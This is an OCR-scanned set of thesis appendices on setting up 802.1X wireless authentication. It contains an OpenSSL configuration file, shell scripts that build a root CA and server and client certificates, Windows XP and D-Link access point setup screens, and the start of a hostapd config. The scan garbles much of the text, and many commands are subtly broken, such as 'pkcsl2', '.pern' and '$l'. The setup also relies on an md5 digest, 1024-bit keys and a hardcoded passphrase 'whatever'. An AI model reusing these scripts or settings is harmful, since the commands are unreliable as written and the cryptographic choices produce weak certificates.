#  This  is  mostly  being  used  for  generation  of  certificate  requests. 

# 

#  This  definition  stops  the  following  lines  choking  if  HOME  isn't 

#  defined. 

HOME  =  . 

RANDFILE  =  $ENV: : HOME/ . rnd 

#  Extra  OBJECT  IDENTIFIER  info: 

#oid_file  =  $ENV: : HOME/ .old 

old  section  =  new  oids 

#  To  use  this  configuration  file  with  the  "-extfile"  option  of  the 

#  "openssl  x509"  utility,  name  here  the  section  containing  the 

#  X.509v3  extensions  to  use: 

#  extensions  = 

#  (Alternatively,  use  a  configuration  file  that  has  only 

#  X.509v3  extensions  in  its  main  [=  default]  section.) 

[  new_oids  ] 

#  We  can  add  new  OIDs  in  here  for  use  by  'ca'  and  'req' . 

#  Add  a  simple  OID  like  this: 

#  testoidl=l . 2 . 3 . 4 

#  Or  use  config  file  substitution  like  this: 

#  testoid2=$ { testoidl } . 5 . 6 

#################################################################### 

[  ca  ] 

default_ca  =  CA_default  #  The  default  ca  section 

#################################################################### 

[  CA_default  ] 

dir  =  ./demoCA  #  Where  everything  is  kept 

certs  =  $dir/certs  #  Where  the  issued  certs  are  kept 

crl  dir  =  $dir/crl  #  Where  the  issued  crl  are  kept 

database  =  $dir/index . txt  #  database  index  file. 

new  certs_dir  =  $dir/newcerts  #  default  place  for  new 

certs . 

certificate  =  $dir/cacert . pern  #  The  CA  certificate 

serial  =  $dir/serial  #  The  current  serial  number 

crl  =  $dir/crl.pem  #  The  current  CRL 

private_key  =  $dir/private/cakey . pern  #  The  private  key 
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RANDFILE  =  $dir/private/ . rand  #  private  random  number  file 

x50 9_extensions  =  usr  cert  #  The  extentions  to  add  to  the  cert 

#  Comment  out  the  following  two  lines  for  the  "traditional" 

#  (and  highly  broken)  format. 

#  name_opt  =  ca_default  #  Subject  Name  options 

#  cert_opt  =  ca_default  #  Certificate  field  options 

#  Extension  copying  option:  use  with  caution. 

#  copy_extensions  =  copy 

#  Extensions  to  add  to  a  CRL.  Note:  Netscape  communicator  chokes  on  V2 
CRLs 

#  so  this  is  commented  out  by  default  to  leave  a  VI  CRL. 

#  crl  extensions  =  crl  ext 

default_days  =  365  #  how  long  to  certify  for 

default  crl  days=  30  #  how  long  before  next  CRL 

default  md  =  md5  #  which  md  to  use. 

preserve  =  no  #  keep  passed  DN  ordering 

#  A  few  difference  way  of  specifying  how  similar  the  request  should 
look 

#  For  type  CA,  the  listed  attributes  must  be  the  same,  and  the  optional 

#  and  supplied  fields  are  just  that  :-) 

policy  =  policy  match 

#  For  the  CA  policy 

[  policy_match  ] 
countryName  =  match 

stateOrProvinceName  =  match 

organizationName  =  match 
organizationalUnitName  =  optional 
commonName  =  supplied 

emailAddress  =  optional 

#  For  the  'anything'  policy 

#  At  this  point  in  time,  you  must  list  all  acceptable  'object' 

#  types. 

[  policy_anything  ] 

countryName  =  optional 

StateOrProvinceName  =  optional 

localityName  =  optional 

organizationName  =  optional 
organizationalUnitName  =  optional 
commonName  =  supplied 

emailAddress  =  optional 

#################################################################### 

[  req  ] 

default  bits  =  1024 

default  keyfile  =  privkey.pem 

distinguished  name  =  req  distinguished  name 

attributes  =  req_attributes 

x509  extensions  =  v3  ca  #  The  extentions  to  add  to  the  self 

signed  cert 
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#  Passwords  for  private  keys  if  not  present  they  will  be  prompted  for 

#  input_password  =  secret 

#  output_password  =  secret 


#  This  sets  a  mask  for  permitted  string  types.  There  are  several 
options . 

#  default:  PrintableString,  TGlString,  BMPString. 

#  pkix  :  PrintableString,  BMPString. 

#  utfSonly:  only  UTFSStrings. 

#  nombstr  :  PrintableString,  TGlString  (no  BMPStrings  or  UTFSStrings) . 

#  MASKrXXXX  a  literal  mask  value. 

#  WARNING:  current  versions  of  Netscape  crash  on  BMPStrings  or 
UTFSStrings 

#  so  use  this  option  with  caution! 
string  mask  =  nombstr 


#  req  extensions  =  v3  req  #  The  extensions  to  add  to  a  certificate 
request 


[  req  distinguished  name 
countryName 
countryName  default 
countryName  min 
countryName  max 


=  Country  Name  (2  letter  code) 
=  US 
=  2 
=  2 


stateOrProvinceName 
stateOrProvinceName  default 


=  State  or  Province  Name  (full  name) 
=  California 


local ityName 
localityName  default 

0 . organizationName 
0 . organizationName  default 


Locality  Name  (eg,  city) 
Monterey 

Organization  Name  (eg,  company) 
NPGS 


#  we  can  do  this  but  it  is  not 

#1 . organizationName 

#1 . organizationName  default 


needed  normally  :-) 

^  Second  Organization  Name 
^  World  Wide  Web  Pty  Ltd 


(eg,  company) 


organizationalUnitName  =  Organizational  Unit  Name  (eg, 

organizationalUnitName  default  =  SAAM 


section) 


commonName 
commonName  max 
commanName  default 


=  Common  Name  (eg,  YOUR  name) 
=  64 

=  WirelessSAAM  CA 


email Address 
emai 1 Addr e  s  s_max 
emailAddress  default 

#  SET-ex3 


Email  Address 
64 

oozan@nps .navy.mil 
SET  extension  number  3 


[  req_attributes  ] 
challenge Pas sword 
challengePassword  min 
challengePassword  max 


A  challenge  password 
4 

20 
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unstructuredName 


An  optional  company  name 


[  usr_cert  ] 

#  These  extensions  are  added  when  'ca'  signs  a  request. 

#  This  goes  against  PKIX  guidelines  but  some  CAs  do  it  and  some 
software 

#  requires  this  to  avoid  interpreting  an  end  user  certificate  as  a  CA. 
basicConstraints=CA: FALSE 

#  Here  are  some  examples  of  the  usage  of  nsCertType.  If  it  is  omitted 

#  the  certificate  can  be  used  for  anything  *except*  object  signing. 

#  This  is  OK  for  an  SSL  server. 

#  nsCertType  =  server 

#  For  an  object  signing  certificate  this  would  be  used. 

#  nsCertType  =  objsign 

#  For  normal  client  use  this  is  typical 

#  nsCertType  =  client,  email 

#  and  for  everything  including  object  signing: 

#  nsCertType  =  client,  email,  objsign 

#  This  is  typical  in  keyUsage  for  a  client  certificate. 

#  keyUsage  =  nonRepudiation,  digitalSignature,  keyEncipherment 

#  This  will  be  displayed  in  Netscape's  comment  listbox. 

nsComment  =  "OpenSSL  Generated  Certificate" 

#  PKIX  recommendations  harmless  if  included  in  all  certificates, 
sub j  ectKeyIdentif ier=hash 

author ityKeyIdentifier=keyid, issuer : always 

#  This  stuff  is  for  sub j ectAltName  and  issuerAltname . 

#  Import  the  email  address. 

#  sub j ectAltName=email : copy 

#  An  alternative  to  produce  certificates  that  aren't 

#  deprecated  according  to  PKIX. 

#  subjectAltName=email :move 

#  Copy  subject  details 

#  issuerAltName=issuer : copy 

#nsCaRevocationUrl  =  http://www.domain.dom/ca-crl.pem 

#nsBaseUrl 

#nsRevocationUrl 

#nsRenewalUrl 

#nsCaPolicyUrl 

#nsSslServerName 

[  v3_req  ] 

#  Extensions  to  add  to  a  certificate  request 
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basicConstraints  =  CA: FALSE 

keyUsage  =  nonRepudiation,  digitalSignature,  keyEncipherment 
[  v3_ca  ] 

#  Extensions  for  a  typical  CA 

#  PKIX  recommendation, 
sub j  ectKeyIdentif ier=hash 

author ityKeyIdentifier=keyid : always , issuer : always 

#  This  is  what  PKIX  recommends  but  some  broken  software  chokes  on 
critical 

#  extensions. 

#basicConstraints  =  critical, CA: true 

#  So  we  do  this  instead. 
basicConstraints  =  CArtrue 

#  Key  usage:  this  is  typical  for  a  CA  certificate.  However  since  it 
will 

#  prevent  it  being  used  as  an  test  self-signed  certificate  it  is  best 

#  left  out  by  default. 

#  keyUsage  =  cRLSign,  keyCertSign 

#  Some  might  want  this  also 

#  nsCertType  =  sslCA,  emailCA 

#  Include  email  address  in  subject  alt  name:  another  PKIX 
recommendation 

#  sub j ectAltName=email : copy 

#  Copy  issuer  details 

#  issuerAltName=issuer : copy 

#  DER  hex  encoding  of  an  extension:  beware  experts  only! 

#  obj=DER: 02 : 03 

#  Where  ' ob j '  is  a  standard  or  added  object 

#  You  can  even  override  a  supported  extension: 

#  basicConstraints=  critical,  DER: 30 : 03 : 01 : 01 : FF 

[  crl_ext  ] 

#  CRL  extensions. 

#  Only  issuerAltName  and  authorityKeyIdentif ier  make  any  sense  in  a 
CRL. 

#  issuerAltName=issuer : copy 

authorityKeyIdentif ier=keyid : always , issuer : always 
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B, 


CERTIFICATE  GENERATION  SCRIPTS 


1.  Root  Certificate  Authority  Generation  Script 


# ! /bin/sh 

SSL=/usr/ local/ opens sl-certgen 

export  PATH=${SSL}/bin/:${SSL}/ssl/misc:${PATH} 
export  LD_LIBRARY_PATH=${SSL}/lib 

#  needed  if  you  need  to  start  from  scratch  otherwise  the  CA.pl  -newca 
command  doesn't  copy  the  new 

#  private  key  into  the  CA  directories 
rm  -rf  demoCA 

echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo  "Creating  self-signed  private  key  and  certificate" 

echo  "When  prompted  override  the  default  value  for  the  Common  Name 

field" 

echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo 

#  Generate  a  new  self-signed  certificate. 

#  After  invocation,  newreq.pem  will  contain  a  private  key  and 
certificate 

#  newreq.pem  will  be  used  in  the  next  step 

openssl  req  -new  -x509  -keyout  newreq.pem  -out  newreq.pem  -passin 

pass : whatever  -passout  pass : whatever 

echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo  "Creating  a  new  CA  hierarchy  (used  later  by  the  "ca"  command)  with 
the  certificate" 

echo  "and  private  key  created  in  the  last  step" 
echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo 

echo  "newreq.pem"  |  CA.pl  -newca  >/dev/null 
echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo  "Creating  ROOT  CA" 
echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo 

#  Create  a  PKCS#12  file,  using  the  previously  created  CA 
certificate /key 

#  The  certificate  in  demoCA/cacert . pern  is  the  same  as  in  newreq.pem. 
Instead  of 

#  using  "-in  demoCA/cacert . pern"  we  could  have  used  "-in  newreq.pem"  and 
then  omitted 

#  the  "-inkey  newreq.pem"  because  newreq.pem  contains  both  the  private 
key  and  certificate 
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openssl  pk;csl2  -export  -in  demoCA/cacert . pern  -inkey  newreq.pem  -out 
root.pl2  -cacerts  -passin  pass : whatever  -passout  pass : whatever 

#  parse  the  PKCS#12  file  just  created  and  produce  a  PEM  format 
certificate  and  key  in  root. pern 

openssl  pkcsl2  -in  root.pl2  -out  root. pern  -passin  pass : whatever  - 
passout  pass : whatever 

#  Convert  root  certificate  from  PEM  format  to  DER  format 
openssl  x509  -inform  PEM  -outform  DER  -in  root. pern  -out  root.der 
#Clean  Up 

rm  -rf  newreq.pem 

2.  Server  Certificate  Generation  Script 

# ! /bin/sh 

SSL=/usr/ local/ opens sl-certgen 

export  PATH=${SSL}/bin/:${SSL}/ssl/misc:${PATH} 

export  LD_LIBRARY_PATH=${SSL}/lib 

echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo  "Creating  server  private  key  and  certificate" 

echo  "When  prompted  enter  the  server  name  in  the  Common  Name  field." 
echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo 

#  Request  a  new  PKCS#10  certificate. 

#  First,  newreq.pem  will  be  overwritten  with  the  new  certificate 
request 

openssl  req  -new  -keyout  newreq.pem  -out  newreq.pem  -passin 
pass : whatever  -passout  pass : whatever 

#  Sign  the  certificate  request.  The  policy  is  defined  in  the 
openssl. cnf  file. 

#  The  request  generated  in  the  previous  step  is  specified  with  the  - 
infiles  option  and 

#  the  output  is  in  newcert.pem 

#  The  -extensions  option  is  necessary  to  add  the  OID  for  the  extended 
key  for  server  authentication 

openssl  ca  -policy  policy_anything  -out  newcert.pem  -passin 
pass : whatever  -key  whatever  -extensions  xpserver  ext  -extfile 
xpextensions  -infiles  newreq.pem 

#  Create  a  PKCS#12  file  from  the  new  certificate  and  its  private  key 
found  in  newreq.pem 

#  and  place  in  file  specified  on  the  command  line 

openssl  pkcsl2  -export  -in  newcert.pem  -inkey  newreq.pem  -out  $l.pl2  - 
clcerts  -passin  pass : whatever  -passout  pass : whatever 

#  parse  the  PKCS#12  file  just  created  and  produce  a  PEM  format 
certificate  and  key  in  certsrv.pem 

openssl  pkcsl2  -in  $l.pl2  -out  $l.pem  -passin  pass : whatever  -passout 
pass : whatever 

#  Convert  certificate  from  PEM  format  to  DER  format 
openssl  x509  -inform  PEM  -outform  DER  -in  $l.pem  -out  $l.der 

#  Clean  Up 

rm  -rf  newert.pem  newreq.pem 
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3,  Supplicant  Certificate  Generation  Script 

# ! /bin/sh 

SSL=/usr/ local/ opens sl-certgen 

export  PATH=$ {SSL} /bin/ :$ {SSL }/ssl/misc:$ {PATH} 

export  LD_LIBRARY_PATH=${SSL}/lib 

echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo  "Creating  client  private  key  and  certificate" 

echo  "When  prompted  enter  the  client  name  in  the  Common  Name  field. 

This  is  the  same" 

echo  "  used  as  the  Username  in  FreeRADIUS" 
echo 

^^'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k'k 

'k'k'k'k'k'k'k'k'k'k'k^^ 

echo 

#  Request  a  new  PKCS#10  certificate. 

#  First,  newreq.pem  will  be  overwritten  with  the  new  certificate 
request 

openssl  req  -new  -keyout  newreq.pem  -out  newreq.pem  -passin 
pass : whatever  -passout  pass : whatever 

#  Sign  the  certificate  request.  The  policy  is  defined  in  the 
openssl. cnf  file. 

#  The  request  generated  in  the  previous  step  is  specified  with  the  - 
infiles  option  and 

#  the  output  is  in  newcert.pem 

#  The  -extensions  option  is  necessary  to  add  the  OID  for  the  extended 
key  for  client  authentication 

openssl  ca  -policy  policy  anything  -out  newcert.pem  -passin 
pass : whatever  -key  whatever  -extensions  xpclient  ext  -extfile 
xpextensions  -infiles  newreq.pem 

#  Create  a  PKCS#12  file  from  the  new  certificate  and  its  private  key 
found  in  newreq.pem 

#  and  place  in  file  specified  on  the  command  line 

openssl  pkcsl2  -export  -in  newcert.pem  -inkey  newreq.pem  -out  $l.pl2  - 
clcerts  -passin  pass : whatever  -passout  pass : whatever 

#  parse  the  PKCS#12  file  just  created  and  produce  a  PEM  format 
certificate  and  key  in  certclt.pem 

openssl  pkcsl2  -in  $l.pl2  -out  $l.pem  -passin  pass : whatever  -passout 
pass : whatever 

#  Convert  certificate  from  PEM  format  to  DER  format 
openssl  x509  -inform  PEM  -outform  DER  -in  Sl.pem  -out  $l.der 

#  clean  up 

rm  -rf  newcert  newreq.pem 

4.  XP  Specific  Extension  Files 

[xpclient_ext] 

extendedKeyUsage  =  1.3. 6. 1.5. 5. 7. 3. 2 
[xpserver  ext] 

extendedKeyUsage  =  1.3. 6. 1.5. 5. 7. 3.1 
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APPENDIX  B 


A,  WINDOWS  XP  CERTIFICATE  INSTALLATION 

Windows  XP  with  Service  Pack  1  support  requires  a  client  public  key  certificate, 
a  private  key  corresponding  to  this  public  key  and  a  rootCA  public  key  certificate  to 
verify  the  server’s  certificate  authentication. 

The  “newxpclient.pl 2”  file  contains  the  public  key  certificate  and  private  key  of 
the  client.  The  “root.der”  contains  the  public  key  certificate  (PKC)  of  the  root  certificate 
authority.  We  must  assure  that  both  of  these  files  are  generated  in  a  trusted  environment 
and  there  is  a  strong  trust  relationship  between  the  client  and  the  root  certificate  authority. 
First,  the  rootCA’  PKC  must  be  installed  manually. 

The  screen  shot  demonstration  below  will  explain  how  to  install  these  certificates: 
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B.A2.  The  “Place  all  certificate  in  the  following  store”  radio  button  must  be  checked  and 
the  “Trusted  Root  Certification  Authorities”  must  be  highlighted.  Then  click  OK. 


B.A3.  Click  Next  to  continue 
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B.A4.  Click  “Finish”  to  complete  the  root  oertificate  import  wizard 


B.A5.  If  everything  has  been  right.  The  system  responds  with  the  “successful  import 
window 
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Certificate 


General  |  Details  [  Certification  Path 
Show; 


<AII> 


Field 

Value  ^ 

3  Serial  number 

00 

’^Signature  algorithm 

mdSRSA 

3  Issuer 

oozanginps.  navy,  mil,  5  A  AM,  ... 

3  Valid  from 

Tuesday,  November  25,  2003  ... 

3  Valid  to 

Thursday,  December  25,  2003... 

3  Subject 

oozanfJnps. navy. mil,  SAAM,  ... 

1  —  Public  key 

RSA  (1024  Bits)  ■ 

1  53  Subject  Key  Identifier 

68cee2  54  29  4c  18bf57c8  ... 

30 

81 

89 

02 

81 

81 

00 

be 

4b 

88 

ec 

3b 

al 

88  A 

5£ 

07 

c3 

£b 

e6 

74 

27 

al 

4e 

bd 

af 

62 

5e 

el 

d7 

69 

12 

57 

88 

76 

7£ 

22 

ba 

fa 

57 

be 

ae 

cc 

09 

02 

84 

bl 

06 

98 

09 

ee 

4a 

£3 

a5 

42 

dO 

12 

4b 

11 

10 

4d 

9b 

e5 

al 

8£ 

42 

da 

80 

72 

e2 

e3 

35 

19 

44 

2a 

38 

90 

01 

bl 

89 

39 

80 

4d 

lb 

29 

9£ 

59 

92 

b7 

e5 

59 

ad 

bl 

cb 

35 

29 

aO 

23 

da 

d9 

d8 

b2 

9£ 

9b 

35 

60 

a3 

29 

96 

6e 

01 

e5 

£b 

3d 

01 

6b 

de 

98 

32 

62 

78 

5e 

18 

b6 

£3 

7b 

£2  v 

Edil:; 


Copy  to  File... 


OK 


B.A6.  1024  bits  RSA  public  key  and  other  properties  of  the  root  eertificate  can  be 
monitored  through  the  “details”  tab 


E  Certificates 

B0® 

|[^  File  Action  View  Favorites  Window  Help 

JsJxJl 

\<p  \  0||lj  X  %  1  k  f  11 1  [f  1 

P  Certificates  •  Current  User 
S  Ll  Personal 

S  □  Trusted  Root  Certification  Autho 
“jj  Certificates 
i  [j  Enterprise  Trust 
S  □  Intermediate  Certification  Authoi 
a  LJ  Active  Directory  User  Object 
a  □  Trusted  Publishers 
a  □  Untrusted  Certificates 
a  □  Third-Party  Root  Certification  Au 
+:  □  Trusted  People 
a  □  Other  People 
a  LJ  Certificate  Enrollment  Requests 


Issued  To 


I  Expiration  Date 


Microsoft  Root  Authority  Microsoft  Root , , .  1 2/30/2020 

[^Microsoft  Root  Certificate  Authority  Microsoft  Root , 5/9/2021 
[^NetLockExpress:  (Class  C)  Tanusi.,,  NetLockExpres,.,  2/20/2019 
M  NetLock  Kozjegyzoi  (Class  A)  Tanu , . ,  NetLock  Kozjeg. . .  2/1 9/20 1 9 
[lNetLockUzleti(ClassB)Tanusitva,..  NetLock Uzleti(...  2/20/2019 
[^NOLIABILITYACCEPTED,(c)97V.,,  NO  LIABILITY  A„,  1/7/2004 
[^PTT  Post  Root  CA _ PTT  Post  Root  CA  6/26/2019 

Saunalahden  Server!  CA  Saunalahden  S . . .  6/25/20 1 9 

Saunalahden  Server!  CA  Saunalahden  S , . ,  6/25/20 1 9 

Secure  Server  Certification  Authority  Secure  Server , . ,  1/7/2010 

dSecureNetCAClassA  SecureNetCA,,.  10/16/2009 

[iSecureNetCA  Class  B  SecureNetCA,..  10/16/2009 

^SecureNetCA  Root  SecureNetCA,..  10/16/2010 

^SecureNet  CA  SGC  Root  SecureNet  CA  S, ..  10/16/2009 

[^SecureSign  RootCAl  SecureSign  Roo.. .  9/15/2020 

SecureSign  RootCA2  SecureSign  Roo. , ,  9/1 5/2020 

SSecureSion  RootCA3  SecureSion  Roo., ,  9/15/2020 

< 


Trusted  Root  Certification  Authorities  store  contains  1 10  certificates. 


B.A7.  The  rootCA  PKC  can  be  verified  via  the  MMC  console  whether  it  is  under  Trusted 
Certificate  Authorities  or  not. 
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B.A8.  When  the  newxpelient.pl 2  file  is  double-clicked,  the  certificate  installation  wizard 
appears  on  the  screen.  Click  “Next”  to  continue. 


B.A9.  The  password  to  decrypt  the  private  key  for  the  client  must  be  entered  correctly. 
The  password  can  be  obtained  manually  from  the  certificate  manager.  Then  click  “Next” 
to  continue. 
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B.AIO  Leave  the  default  values  and  click  next 


B.Al  1.  Click  “Finish”  for  successful  client  certificate  import 
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B.A12.  The  certification  path  should  be  verified  under  in  the  MMC  window. 
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B.  WINDOWS  XP  WIRELESS  CLIENT  802.1X  CONFIGURATION 


Bnnwrties 


j  ?  ,j  X  test  properties 


I  Generali  Wireless  Networks  |  Advanced 


0  Use  Windows  lo  configure  my  wireless  network  settings 
Available  networks; 

T  o  connect  to  an  available  network,  click  Configure. 


^  test 


Configure 


Preferred  networks: 

Automatically  connect  to  available  networks  in  the  order  listed 
below: 

Move  up 

f.L.i.C'  down 


$  lesl 


1  Add... 

1  [  Remove  ] 

1  Properties  j 

Learn  about  setting  uo  wireless  network 
configuration. 


Association  Authentication 


Network  name  (SSID):  |  _ 

Wireless  network  key  fWEP) 

This  network  requires  a  key  for  the  following; 
0  Data  encryption  (WEP  enabled) 

I  I  Network  Authentication  (Shared  mode] 


0  The  key  is  provided  for  me  automatically 


7  ni^  IS  a  corrrputer-to-computer 

■l*ces'  jr-i'  • 


B.Bl.  The  WEP  and  dynamic  key  options  must  be  checked  in  order  to  support  the 
dynamic  key  generation  from  the  authenticator, 


test  piOpefUM; 


Association  I  Authentication  | 


Select  this  option  to  provide  authenticated  network  access  for 
wireless  Ethernet  networks. 

0  Enable  IEEE  802. lx  authentication  for  this  network 
EAP  type:  |  Smart  Card  or  other  Certificate 


[  Properties^] 

0  Authenticate  as  computer  when  computer  information  is  available 


(~~|  Authenticate  as  guest  when  user  or  computer  information  is 
unavailable 


Smart  Card  or  other  Certificate  Properties 


When  connecting; 

O  Use  my  smart  card 
0  Use  a  certificate  on  this  computer 

0  Use  simple  certificate  selection  (Recommended) 

0  Validate  server  certificate 
0  Connect  to  these  servers: 


newradius 


Trusted  Root  Certification  Authorities; 


r~l  NetLock  Kozjegyzoi  (Class  A)  T  anusilvanykiado 

A 

r~l  NetLock  Uzleli  (Class  B)  Tanusitvanykiado 

□  NO  LIABILITYACCEPTED,(c)97VetiSign,lnc. 

□  PIT  Post  Root  CA 

0  SAAM 

r~|  Saunalahden  Sefveri  CA 

0  Saunalahden  SetveriCA 

1  1  Secure  Server  Certification  Authority 

V 

< 

> 

View  Certificate 


0  Use  a  different  user  name  for  the  connection 


OK 


Cancel 


B.B2  The  “Enable  IEEE  802.  IX  authentication  for  this  network”  radio  button  must  be 
checked  with  the  “Smart  Card  or  other  Certificates”  option.  When  the  “Properties”  button 
is  clicked,  the  “Use  a  certificate  on  this  computer”  radio  button  must  be  checked.  The 
“Validate  server  certificate”  radio  button  must  be  checked;  otherwise,  only  the  client 
certificate  is  validated  at  the  server.  The  server  certificate  must  also  be  validated  to 
enforce  mutual  authentication. 
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APPENDIX  C 


A,  D-LINK  DWL-7000AP  CONFIGURATION 


D-Link  AirXpert  Tri-Mode  Dualband  AP  Manager 

D-Link 


£3 


a> 

£3 


Delink 

AirXpcrf 

Tri-Modc 

Dualband 


Device  List: 

Model  Name 

I  Mac  Address  | 

I  IP  Address 

1  Netmask 

1  F/W  Version 

1  Device  Name  |  Action 

1  Status  1 

DWU7000AP 

00055D9960AI5 

131.120.11.... 

255.255.25... 

vl.03 

D-link  Corp... 

C.Al  D-link  DWL-7000AP  comes  with  an  access  point  manager.  This  manager  is 
useful  to  identify  and  discover  the  access  points  in  the  network.  After  discovering  the 
access  point,  a  new  IP  address  can  be  assigned. 


Icrosoft  Internet  Explorer 

BE 

/orites  Tools  Help 

"^1  ^  Search  Favorites  '  Media 

120. 1 1 .43/html/CfgWepParam.htfnl?0 

jjeiGo 

^  1 

Search  Web  430  blocked  ’fel 

1 - - 

1*^  Options 

Tri-Mode  Dualband  Wireless  Access  Point 

i 

DWI--7000AP 


Encryption 


Advanced 


Seciiiity  Settiiiij- 
Wireless  Band:  IEEE802.11a 
Authentication 


WEP 

Wep  Key  Type 
Wep  Key  Size 
Valid  Key 

First  Key 
Second  Key 
Third  Key 
Fourth  Key 


O  Open  System 
O  Shared  Key 
O  Open  System 
/  Shared  key 
<*>  802. lx 
<*>  Disabled 
O  Enabled 


Wireless  Band:  IEEE802.11g 
Authentication 


WEP 

Wep  Key  Type 
Wep  Key  Size 
Valid  Key 
Key  T.ilrle 
First  Key 
Second  Key 
Third  Key 
Fourth  Key 


O  Open  System 
O  Shared  Key 
O  Open  System 
}  Shared  key 
<2>  802. 1x 
®  Disabled 
O  Enabled 


^  o  o 

Apply  Cancel  Help 


C.A2  After  assigning  a  legitimate  IP  address  to  the  access  point,  a  web  browser  is  used 
to  configure  the  aeeess  point.  The  IP  address  of  the  AP  is  written  to  the  address  window 
and  the  web-based  configuration  tool  is  ready  to  be  used.  802.  IX  option  ean  be  selected 
under  advanced  tab  and  encryption  page. 
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Icrosoft  Internet  Explorer 

/orites  Tools  Help 

nr 

[  1  iSf]  j  y  '  Search  1  Favorites  Media 

120. 1 1 .43/html/8021xAuth.html?0 

v  }  iQ  Go  Links 

V  1  Search  Web  ’■  430  blocked  : 

n  Q  Options  y 

Tri-Mode  Dualband  Wireless  Access  Point 


^  o  o 

Apply  Cancel  Help 


C.A3  The  next  page  after  seleeting  the  802.  IX  option  is  the  authentieation  server 
seleetion  page.  Radius  server  is  seleeted  from  the  drop  down  menu. 


oft  Internet  Explorer 


5S  Tools  Help 

y  Search  j  Favorites  i  Media  O 


□ 


"A 


1 1.43/html/8021xRadiusServer.html?0 


I  Go  Lir 


-  Search  Web  ^ 


&  430  blocked 


Q  B  Options  ^ 


ZAInyCpei^A_(^ 

Tri-Mode  Dualbond  Wireless  Access  Point 


Advanced 


Tools  Status  Helc 


Succession 
Radius  Server 
Authentic  Port 
Accounting  Port 
Key 

Confirm  Key 
Status 


j  First  y  I 
|131J20-11^ 

|1812 

|18T3 


I  Valid  y  I 


•II I  -lit  i  :  T.thle 


Succession  Radius  Server 
First  131.120,11.55 

Second  O.O.O.O 

Third  O.O.O.O 


Authentic  Port 
1812 
1812 
1812 


^  o  o 

Apply  Cancel  Help 


Accounting  Port  Valid  Status 
1813  Valid 

1813  Invalid 

1813  Invalid 


C.A4  the  next  page  after  seleeting  the  radius  server  helps  the  user  apply  the 
speeifieations  of  the  authentieation  server  e.g.  IP  address,  authentieation  port  and  the 
shared  Key.  Onee  this  fields  are  eompleted,  the  AP  is  restarted  and  able  to  serve  as  an 
authentieator. 
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B, 


HOSTAP  CONFIGURATION  FILE 


#####  hostapd  configuration  file 

mmmmmmmmmmmmmmmmmmmmmmm 

#  Empty  lines  and  lines  starting  with  #  are  ignored 

#  AP  netdeviee  name  (without  'ap'  prefix,  i.e.,  wlanO  uses  wlanOap  for 

#  management  frames) 
interface=wlanO 

#  Debugging:  0  =  no,  1  =  minimal,  2  =  verbose,  3  =  msg  dumps 
debug=3 

#  Dump  file  for  state  information  (on  SIGUSRl) 
dump_file=/ tmp/hostapd .  dump 

#  Daemonize  hostapd  proeess  (i.e.,  fork  to  baekground) 
daemonize=l 

#####  IEEE  802.1 1  related  eonfiguration 

####################################### 

#  SSID  to  be  used  in  IEEE  802.1 1  management  frames 
ssid=test 

#  Station  MAC  address  -based  authentieation 

#  0  =  aeeept  unless  in  deny  list 

#  1  =  deny  unless  in  aeeept  list 

#2  =  use  external  RADIUS  server  (aeeept/deny  lists  are  searched  first) 
maeaddr_ael=0 

#  Aeeept/deny  lists  are  read  from  separate  files  (eontaining  list  of 

#  MAC  addresses,  one  per  line).  Use  absolute  path  name  to  make  sure 

